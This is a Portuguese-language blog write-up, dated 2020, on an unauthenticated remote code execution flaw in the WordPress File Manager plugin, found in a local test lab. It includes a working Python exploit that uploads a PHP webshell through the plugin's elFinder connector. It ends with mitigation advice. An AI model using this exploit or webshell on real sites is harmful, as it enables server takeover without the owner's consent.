Escrito em 08/31/2020, por Growlnx.

Unauth RCE no Wordpress File Manager

Atenção: A técnica demonstrada neste artigo tem o propósito de ser um material educativo, a exploração foi feita em um ambiente controlado. Não realize esta exploração sem a autorização do dono do servidor, pois isto poderá resultar em um crime!

Bom, pra quem ainda não conhece o Wordpress File Manager é um plugin do Wordpress que simula a interface de um gerenciador de arquivos, é bem prático.

Usei o docker compose para configurar um ambiente controlado de testes, seguindo o tutorial oficial.

Também instalei o plugin através da loja do próprio Wordpress.

Vale observar que este plugin tem mais de 700 mil instalações ativas.

Com o ambiente pronto para os testes, tentei encontrar algum vazamento de informação sensível que talvez fosse causada devido a configuração do container ou do plugin.

Fiz uma wordlist com os arquivos do meu interesse, que poderiam ser acessíveis através do servidor Apache.

Com a wordlist pronta, usei o fuzzer do zaproxy para enviar vários “GET” nos arquivos estando desautenticado.

Normalmente para aumentar a velocidade do fuzzing, eu reduzo o delay e aumento a quantidade threads.

Foi relativamente rápido, e obtive 979 resultados para analisar.

Então tive a ideia de filtrar os resultados, analisar possíveis vazamentos em conjuntos menores é mais fácil.

Sei que pesquisar “cmd” é algo muito genérico, mas consegui um subconjunto bem reduzido para analisar manualmente, apenas 63 respostas.

Quando vi a mensagem de erro na resposta até achei que tinha encontrado uma backdoor :expressionless:, então resolvi pesquisar mais sobre o que esse arquivo faz.

De cara percebi que não tem um bom histórico.

Já foi reportado uma vulnerabilidade que resulta em RCE no elFinder, então foquei em validar se essa RCE ainda acontece.

#!/usr/bin/env python3

import requests

print('[+] tentando fazer upload da webshell')

base_uri = "http://localhost:8000"
webshell_name = "b4ckd00r.php"

requests.post(
    url=f"{base_uri}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php",

    files = {
    	'upload[]': (webshell_name, '<?php system($_GET["cmd"]) ?>')
    },

    data = {
    	"cmd" : "upload",
    	"target" : "l1_Lw"
    }
)

print(f'[+] teste sua backdoor: {base_uri}/wp-content/plugins/wp-file-manager/lib/files/{webshell_name}')

E tive uma surpresa, é permitido o upload de arquivos arbitrários no servidor.

Confirmando que consigo realizar o upload de uma webshell, testei se realmente ocorre a interpretação do arquivo PHP ou se há alguma proteção para ser bypassada.

A webshell “b4ckd00r.php” foi interpretada com sucesso pelo servidor e voilà!, Unauth RCE :smirk:.

Mitigação

Uma possível forma de reduzir o impacto dessa vulnerabilidade enquanto não há um patch disponibilizado pelo fornecedor seria mantendo o PHP atualizado e desabilitar as funções críticas, por exemplo: system, exec, shell_exec.

Recomendo seguir a PHP Configuration Cheat Sheet da OWASP.